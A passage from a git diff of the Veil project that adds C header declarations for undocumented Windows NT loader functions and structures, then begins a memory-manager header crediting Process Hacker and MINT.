DdagNode) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, BaseNameHashValue) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, ImplicitPathOptions) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN10 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, SigningLevel) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN11 sizeof(LDR_DATA_TABLE_ENTRY) + +// symbols +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + }; + PVOID DllBase; + PLDR_INIT_ROUTINE EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ChpeImage : 1; + ULONG ChpeEmulatorImage : 1; + ULONG ReservedFlags5 : 1; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + }; + }; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + ULONG TimeDateStamp; + struct _ACTIVATION_CONTEXT* EntryPointActivationContext; + PVOID Lock; // RtlAcquireSRWLockExclusive + PLDR_DDAG_NODE DdagNode; + LIST_ENTRY NodeModuleLink; + struct _LDRP_LOAD_CONTEXT* LoadContext; + PVOID ParentDllBase; + PVOID SwitchBackContext; + RTL_BALANCED_NODE BaseAddressIndexNode; + RTL_BALANCED_NODE MappingInfoIndexNode; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; + ULONG ImplicitPathOptions; + ULONG ReferenceCount; + ULONG DependentLoadFlags; + UCHAR SigningLevel; // since REDSTONE2 + ULONG CheckSum; // since 22H1 + PVOID ActivePatchImageBase; + LDR_HOT_PATCH_STATE HotPatchState; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +#define LDR_IS_DATAFILE(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)1) +#define LDR_IS_IMAGEMAPPING(DllHandle) (((ULONG_PTR)(DllHandle)) & (ULONG_PTR)2) +#define LDR_MAPPEDVIEW_TO_DATAFILE(BaseAddress) ((PVOID)(((ULONG_PTR)(BaseAddress)) | (ULONG_PTR)1)) +#define LDR_MAPPEDVIEW_TO_IMAGEMAPPING(BaseAddress) ((PVOID)(((ULONG_PTR)(BaseAddress)) | (ULONG_PTR)2)) +#define LDR_DATAFILE_TO_MAPPEDVIEW(DllHandle) ((PVOID)(((ULONG_PTR)(DllHandle)) & ~(ULONG_PTR)1)) +#define LDR_IMAGEMAPPING_TO_MAPPEDVIEW(DllHandle) ((PVOID)(((ULONG_PTR)(DllHandle)) & ~(ULONG_PTR)2)) +#define LDR_IS_RESOURCE(DllHandle) (LDR_IS_IMAGEMAPPING(DllHandle) || LDR_IS_DATAFILE(DllHandle)) + +#ifndef _KERNEL_MODE +NTSYSAPI +VOID +NTAPI +LdrInitializeThunk( + _In_ PCONTEXT ContextRecord, + _In_ PVOID Parameter +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID* DllHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnloadDll( + _In_ PVOID DllHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_ PVOID* DllHandle +); + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleEx( + _In_ ULONG Flags, + _In_opt_ PWSTR DllPath, + _In_opt_ PULONG DllCharacteristics, + _In_ PUNICODE_STRING DllName, + _Out_opt_ PVOID* DllHandle +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByMapping( + _In_ PVOID BaseAddress, + _Out_ PVOID* DllHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandleByName( + _In_opt_ PUNICODE_STRING BaseDllName, + _In_opt_ PUNICODE_STRING FullDllName, + _Out_ PVOID* DllHandle +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllFullName( + _In_ PVOID DllHandle, + _Out_ PUNICODE_STRING FullDllName +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllDirectory( + _Out_ PUNICODE_STRING DllDirectory +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDllDirectory( + _In_ PUNICODE_STRING DllDirectory +); +#endif + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrAddRefDll( + _In_ ULONG Flags, + _In_ PVOID DllHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress +); + +// rev +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressEx( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress, + _In_ ULONG Flags +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetKnownDllSectionHandle( + _In_ PCWSTR DllName, + _In_ BOOLEAN KnownDlls32, + _Out_ PHANDLE Section +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddressForCaller( + _In_ PVOID DllHandle, + _In_opt_ PANSI_STRING ProcedureName, + _In_opt_ ULONG ProcedureNumber, + _Out_ PVOID* ProcedureAddress, + _In_ ULONG Flags, + _In_ PVOID* Callback +); +#endif + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +NTSYSAPI +NTSTATUS +NTAPI +LdrLockLoaderLock( + _In_ ULONG Flags, + _Out_opt_ ULONG* Disposition, + _Out_ PVOID* Cookie +); + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnlockLoaderLock( + _In_ ULONG Flags, + _Inout_ PVOID Cookie +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImage( + _In_ PVOID NewBase, + _In_opt_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrRelocateImageWithBias( + _In_ PVOID NewBase, + _In_opt_ LONGLONG Bias, + _In_opt_ PSTR LoaderName, + _In_ NTSTATUS Success, + _In_ NTSTATUS Conflict, + _In_ NTSTATUS Invalid +); + +NTSYSAPI +PIMAGE_BASE_RELOCATION +NTAPI +LdrProcessRelocationBlock( + _In_ ULONG_PTR VA, + _In_ ULONG SizeOfBlock, + _In_ PUSHORT NextOffset, + _In_ LONG_PTR Diff +); + +NTSYSAPI +BOOLEAN +NTAPI +LdrVerifyMappedImageMatchesChecksum( + _In_ PVOID BaseAddress, + _In_ SIZE_T NumberOfBytes, + _In_ ULONG FileLength +); + +typedef VOID(NTAPI* PLDR_IMPORT_MODULE_CALLBACK)( + _In_ PVOID Parameter, + _In_ PSTR ModuleName + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksum( + _In_ HANDLE ImageFileHandle, + _In_opt_ PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine, + _In_ PVOID ImportCallbackParameter, + _Out_opt_ PUSHORT ImageCharacteristics +); + +// private +typedef struct _LDR_IMPORT_CALLBACK_INFO +{ + PLDR_IMPORT_MODULE_CALLBACK ImportCallbackRoutine; + PVOID ImportCallbackParameter; +} LDR_IMPORT_CALLBACK_INFO, * PLDR_IMPORT_CALLBACK_INFO; + +// private +typedef struct _LDR_SECTION_INFO +{ + HANDLE SectionHandle; + ACCESS_MASK DesiredAccess; + POBJECT_ATTRIBUTES ObjA; + ULONG SectionPageProtection; + ULONG AllocationAttributes; +} LDR_SECTION_INFO, * PLDR_SECTION_INFO; + +// private +typedef struct _LDR_VERIFY_IMAGE_INFO +{ + ULONG Size; + ULONG Flags; + LDR_IMPORT_CALLBACK_INFO CallbackInfo; + LDR_SECTION_INFO SectionInfo; + USHORT ImageCharacteristics; +} LDR_VERIFY_IMAGE_INFO, * PLDR_VERIFY_IMAGE_INFO; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrVerifyImageMatchesChecksumEx( + _In_ HANDLE ImageFileHandle, + _Inout_ PLDR_VERIFY_IMAGE_INFO VerifyInfo +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryModuleServiceTags( + _In_ PVOID DllHandle, + _Out_writes_(*BufferSize) PULONG ServiceTagBuffer, + _Inout_ PULONG BufferSize +); +#endif + +// begin_msdn:"DLL Load Notification" + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID(NTAPI* PLDR_DLL_NOTIFICATION_FUNCTION)( + _In_ ULONG NotificationReason, + _In_ PLDR_DLL_NOTIFICATION_DATA NotificationData, + _In_opt_ PVOID Context + ); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +LdrRegisterDllNotification( + _In_ ULONG Flags, + _In_ PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, + _In_opt_ PVOID Context, + _Out_ PVOID* Cookie +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrUnregisterDllNotification( + _In_ PVOID Cookie +); +#endif + +// end_msdn + +// rev +NTSYSAPI +PUNICODE_STRING +NTAPI +LdrStandardizeSystemPath( + _In_ PUNICODE_STRING SystemPath +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +typedef struct _LDR_FAILURE_DATA +{ + NTSTATUS Status; + WCHAR DllName[0x20]; + WCHAR AdditionalInfo[0x20]; +} LDR_FAILURE_DATA, * PLDR_FAILURE_DATA; + +NTSYSAPI +PLDR_FAILURE_DATA +NTAPI +LdrGetFailureData( + VOID +); +#endif + +// private +typedef struct _PS_MITIGATION_OPTIONS_MAP +{ + ULONG_PTR Map[3]; // 2 < 20H1 +} PS_MITIGATION_OPTIONS_MAP, * PPS_MITIGATION_OPTIONS_MAP; + +// private +typedef struct _PS_MITIGATION_AUDIT_OPTIONS_MAP +{ + ULONG_PTR Map[3]; // 2 < 20H1 +} PS_MITIGATION_AUDIT_OPTIONS_MAP, * PPS_MITIGATION_AUDIT_OPTIONS_MAP; + +// private +typedef struct _PS_SYSTEM_DLL_INIT_BLOCK +{ + ULONG Size; + ULONG_PTR SystemDllWowRelocation; + ULONG_PTR SystemDllNativeRelocation; + ULONG_PTR Wow64SharedInformation[16]; + ULONG RngData; + union + { + ULONG Flags; + struct + { + ULONG CfgOverride : 1; + ULONG Reserved : 31; + }; + }; + PS_MITIGATION_OPTIONS_MAP MitigationOptionsMap; + ULONG_PTR CfgBitMap; + ULONG_PTR CfgBitMapSize; + ULONG_PTR Wow64CfgBitMap; + ULONG_PTR Wow64CfgBitMapSize; + PS_MITIGATION_AUDIT_OPTIONS_MAP MitigationAuditOptionsMap; // REDSTONE3 +} PS_SYSTEM_DLL_INIT_BLOCK, * PPS_SYSTEM_DLL_INIT_BLOCK; + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +// rev +NTSYSAPI PS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock; +#endif +#endif // _KERNEL_MODE + +// +// Load as data table +// + +#ifndef _KERNEL_MODE +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrAddLoadAsDataTable( + _In_ PVOID Module, + _In_ PWSTR FilePath, + _In_ SIZE_T Size, + _In_ HANDLE Handle +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrRemoveLoadAsDataTable( + _In_ PVOID InitModule, + _Out_opt_ PVOID* BaseModule, + _Out_opt_ PSIZE_T Size, + _In_ ULONG Flags +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +LdrGetFileNameFromLoadAsDataTable( + _In_ PVOID Module, + _Out_ PVOID* pFileNamePrt +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +LdrDisableThreadCalloutsForDll( + _In_ PVOID DllImageBase +); +#endif // _KERNEL_MODE + +// +// Resources +// + +NTSYSAPI +NTSTATUS +NTAPI +LdrAccessResource( + _In_ PVOID DllHandle, + _In_ PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry, + _Out_opt_ PVOID* ResourceBuffer, + _Out_opt_ ULONG* ResourceLength +); + +typedef struct _LDR_RESOURCE_INFO +{ + ULONG_PTR Type; + ULONG_PTR Name; + ULONG_PTR Language; +} LDR_RESOURCE_INFO, * PLDR_RESOURCE_INFO; + +#define RESOURCE_TYPE_LEVEL 0 +#define RESOURCE_NAME_LEVEL 1 +#define RESOURCE_LANGUAGE_LEVEL 2 +#define RESOURCE_DATA_LEVEL 3 + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResource_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceEx_U( + _In_ ULONG Flags, + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DATA_ENTRY* ResourceDataEntry +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindResourceDirectory_U( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Out_ PIMAGE_RESOURCE_DIRECTORY* ResourceDirectory +); + +// private +typedef struct _LDR_ENUM_RESOURCE_ENTRY +{ + union + { + ULONG_PTR NameOrId; + PIMAGE_RESOURCE_DIRECTORY_STRING Name; + struct + { + USHORT Id; + USHORT NameIsPresent; + }; + } Path[3]; + PVOID Data; + ULONG Size; + ULONG Reserved; +} LDR_ENUM_RESOURCE_ENTRY, * PLDR_ENUM_RESOURCE_ENTRY; + +#define NAME_FROM_RESOURCE_ENTRY(RootDirectory, Entry) \ + ((Entry)->NameIsString ? (ULONG_PTR)PTR_ADD_OFFSET((RootDirectory), (Entry)->NameOffset) : (Entry)->Id) + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumResources( + _In_ PVOID DllHandle, + _In_ PLDR_RESOURCE_INFO ResourceInfo, + _In_ ULONG Level, + _Inout_ ULONG* ResourceCount, + _Out_writes_to_opt_(*ResourceCount, *ResourceCount) PLDR_ENUM_RESOURCE_ENTRY Resources +); + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + _In_ PVOID DllHandle, + _Out_ PLDR_DATA_TABLE_ENTRY* Entry +); + +// rev - Win10 type +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadAlternateResourceModule( + _In_ PVOID DllHandle, + _Out_ PVOID* ResourceDllBase, + _Out_opt_ ULONG_PTR* ResourceOffset, + _In_ ULONG Flags +); + +// rev - Win10 type +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadAlternateResourceModuleEx( + _In_ PVOID DllHandle, + _In_ LANGID LanguageId, + _Out_ PVOID* ResourceDllBase, + _Out_opt_ ULONG_PTR* ResourceOffset, + _In_ ULONG Flags +); +#endif // _KERNEL_MODE + +// +// Module information +// + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +// private +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, * PRTL_PROCESS_MODULE_INFORMATION_EX; + +#ifndef _KERNEL_MODE +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + _In_opt_ PRTL_PROCESS_MODULES ModuleInformation, + _In_opt_ ULONG Size, + _Out_ PULONG ReturnedSize +); + +typedef VOID(NTAPI* PLDR_ENUM_CALLBACK)( + _In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, + _In_ PVOID Parameter, + _Out_ BOOLEAN* Stop + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrEnumerateLoadedModules( + _In_ BOOLEAN ReservedFlag, + _In_ PLDR_ENUM_CALLBACK EnumProc, + _In_ PVOID Context +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrOpenImageFileOptionsKey( + _In_ PUNICODE_STRING SubKey, + _In_ BOOLEAN Wow64, + _Out_ PHANDLE NewKeyHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileKeyOption( + _In_ HANDLE KeyHandle, + _In_ PCWSTR ValueName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptions( + _In_ PUNICODE_STRING SubKey, + _In_ PCWSTR ValueName, + _In_ ULONG ValueSize, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength +); + +NTSYSAPI +NTSTATUS +NTAPI +LdrQueryImageFileExecutionOptionsEx( + _In_ PUNICODE_STRING SubKey, + _In_ PCWSTR ValueName, + _In_ ULONG Type, + _Out_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnedLength, + _In_ BOOLEAN Wow64 +); + +// private +typedef struct _DELAYLOAD_PROC_DESCRIPTOR +{ + ULONG ImportDescribedByName; + union + { + PCSTR Name; + ULONG Ordinal; + } Description; +} DELAYLOAD_PROC_DESCRIPTOR, * PDELAYLOAD_PROC_DESCRIPTOR; + +// private +typedef struct _DELAYLOAD_INFO +{ + ULONG Size; + PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor; + PIMAGE_THUNK_DATA ThunkAddress; + PCSTR TargetDllName; + DELAYLOAD_PROC_DESCRIPTOR TargetApiDescriptor; + PVOID TargetModuleBase; + PVOID Unused; + ULONG LastError; +} DELAYLOAD_INFO, * PDELAYLOAD_INFO; + +// private +typedef PVOID(NTAPI* PDELAYLOAD_FAILURE_DLL_CALLBACK)( + _In_ ULONG NotificationReason, + _In_ PDELAYLOAD_INFO DelayloadInfo + ); + +// rev +typedef PVOID(NTAPI* PDELAYLOAD_FAILURE_SYSTEM_ROUTINE)( + _In_ PCSTR DllName, + _In_ PCSTR ProcName + ); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +// rev +NTSYSAPI +PVOID +NTAPI +LdrResolveDelayLoadedAPI( + _In_ PVOID ParentModuleBase, + _In_ PCIMAGE_DELAYLOAD_DESCRIPTOR DelayloadDescriptor, + _In_opt_ PDELAYLOAD_FAILURE_DLL_CALLBACK FailureDllHook, + _In_opt_ PDELAYLOAD_FAILURE_SYSTEM_ROUTINE FailureSystemHook, // kernel32.DelayLoadFailureHook + _Out_ PIMAGE_THUNK_DATA ThunkAddress, + _Reserved_ ULONG Flags +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrResolveDelayLoadsFromDll( + _In_ PVOID ParentBase, + _In_ PCSTR TargetDllName, + _Reserved_ ULONG Flags +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetDefaultDllDirectories( + _In_ ULONG DirectoryFlags +); +#endif + +// rev +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +LdrShutdownProcess( + VOID +); + +// rev +DECLSPEC_NORETURN +NTSYSAPI +VOID +NTAPI +LdrShutdownThread( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +// rev +NTSYSAPI +NTSTATUS +NTAPI +LdrSetImplicitPathOptions( + _In_ ULONG ImplicitPathOptions +); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +LdrControlFlowGuardEnforced( + VOID +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_19H1) +// rev +NTSYSAPI +BOOLEAN +NTAPI +LdrIsModuleSxsRedirected( + _In_ PVOID DllHandle +); +#endif +#endif // _KERNEL_MODE + +// +// Driver Section +// + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + union + { + union + { + struct + { + USHORT SignatureLevel : 4; /* bit position: 0 */ + USHORT SignatureType : 3; /* bit position: 4 */ + USHORT Frozen : 2; /* bit position: 7 */ + USHORT Unused : 7; /* bit position: 9 */ + }; + USHORT EntireField; + }; + }; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID Spare; + ULONG SizeOfImageNotRounded; + ULONG TimeDateStamp; +} KLDR_DATA_TABLE_ENTRY, * PKLDR_DATA_TABLE_ENTRY; + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.MemoryManager.h b/include/Veil/Veil/Veil.System.MemoryManager.h new file mode 100644 index 0000000..e9ee51a --- /dev/null +++ b/include/Veil/Veil/Veil.System.MemoryManager.h @@ -0,0 +1,1890 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#ifdef _KERNEL_MODE +#define MEM_IMAGE SEC_IMAGE +#endif + +// private +#ifndef _KERNEL_MODE +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, // MEMORY_BASIC_INFORMATION + MemoryWorkingSetInformation, // MEMORY_WORKING_SET_INFORMATION + MemoryMappedFileNameInformation, // UNICODE_STRING + MemoryRegionInformation, // MEMORY_REGION_INFORMATION + MemoryWorkingSetExInformation, // MEMORY_WORKING_SET_EX_INFORMATION + MemorySharedCommitInformation, // MEMORY_SHARED_COMMIT_INFORMATION + MemoryImageInformation, // MEMORY_IMAGE_INFORMATION + MemoryRegionInformationEx, // MEMORY_REGION_INFORMATION + MemoryPrivilegedBasicInformation, + MemoryEnclaveImageInformation, // MEMORY_ENCLAVE_IMAGE_INFORMATION // since REDSTONE3 + MemoryBasicInformationCapped, // 10 + MemoryPhysicalContiguityInformation, // MEMORY_PHYSICAL_CONTIGUITY_INFORMATION // since 20H1 + MemoryBadInformation, // since WIN11 + MemoryBadInformationAllProcesses, // since 22H1 + MaxMemoryInfoClass +} MEMORY_INFORMATION_CLASS; +#else +#define MemoryBasicInformation ((_MEMORY_INFORMATION_CLASS)0x0) +#define MemoryWorkingSetInformation ((_MEMORY_INFORMATION_CLASS)0x1) +#define MemoryMappedFileNameInformation ((_MEMORY_INFORMATION_CLASS)0x2) +#define MemoryRegionInformation ((_MEMORY_INFORMATION_CLASS)0x3) +#define MemoryWorkingSetExInformation ((_MEMORY_INFORMATION_CLASS)0x4) +#define MemorySharedCommitInformation ((_MEMORY_INFORMATION_CLASS)0x5) +#define MemoryImageInformation ((_MEMORY_INFORMATION_CLASS)0x6) +#define MemoryRegionInformationEx ((_MEMORY_INFORMATION_CLASS)0x7) +#define MemoryPrivilegedBasicInformation ((_MEMORY_INFORMATION_CLASS)0x8) +#define MemoryEnclaveImageInformation ((_MEMORY_INFORMATION_CLASS)0x9) +#define MemoryBasicInformationCapped ((_MEMORY_INFORMATION_CLASS)0xA) +#define MemoryPhysicalContiguityInformation ((_MEMORY_INFORMATION_CLASS)0xB) +#define MemoryBadInformation ((_MEMORY_INFORMATION_CLASS)0xC) +#define MemoryBadInformationAllProcesses ((_MEMORY_INFORMATION_CLASS)0xD) +#endif // !_KERNEL_MODE + +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#ifdef _WIN64 + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, * PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, * PMEMORY_WORKING_SET_INFORMATION; + +// private +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + union + { + ULONG RegionType; + struct + { + ULONG Private : 1; + ULONG MappedDataFile : 1; + ULONG MappedImage : 1; + ULONG MappedPageFile : 1; + ULONG MappedPhysical : 1; 